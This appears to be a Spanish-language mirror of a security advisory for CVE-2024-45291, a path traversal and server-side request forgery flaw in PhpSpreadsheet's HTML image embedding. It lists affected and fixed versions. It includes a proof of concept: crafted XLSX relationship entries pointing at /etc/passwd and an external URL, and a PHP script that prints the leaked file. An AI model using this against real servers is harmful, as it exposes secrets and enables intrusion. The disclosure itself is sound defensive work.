PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.:
<a:blip cstate="print" r:link="rId1" />And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="/etc/passwd" />or
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://example.org" />When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
$picture = @file_get_contents($filename);
if ($picture !== false) {
$imageDetails = getimagesize($filename) ?: ['mime' => ''];
// base64 encode the binary data
$base64 = base64_encode($picture);
$imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
}
}
$html .= '<img style="position: absolute; z-index: 1; left: '
. $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
. $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
. $imageData . '" alt="' . $filedesc . '" />';PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));Add this file in the same directory: book.xlsx
Run with:
php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | phpoffice/phpexcel | <= 1.8.2 | sin corrección |
| Paquete de Composer | phpoffice/phpspreadsheet | >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 | 2.3.0, 1.29.2, 2.1.1 |
Referencias
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4
- https://nvd.nist.gov/vuln/detail/CVE-2024-45291
- https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a
- https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec
- https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465
- https://github.com/PHPOffice/PhpSpreadsheet
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N- Debilidad (CWE)
CWE-22, CWE-36, CWE-918- Plataforma
- Composer
- Paquete
phpoffice/phpexcel, phpoffice/phpspreadsheet- Publicada
- 07.10.2024
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-w9xv-qf98-ccq4 - CC BY 4.0
Historial de vulnerabilidades: phpoffice/phpexcel
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 23
- Primera → última
- 11.2019 02.2025
- Sin corrección
- 20
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 12
- Media 10
- Baja 1
Divulgaciones por año
- 2019: 2
- 2020: 0
- 2021: 1
- 2022: 1
- 2023: 0
- 2024: 10
- 2025: 9
- 2026: 0
-
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled esta entrada
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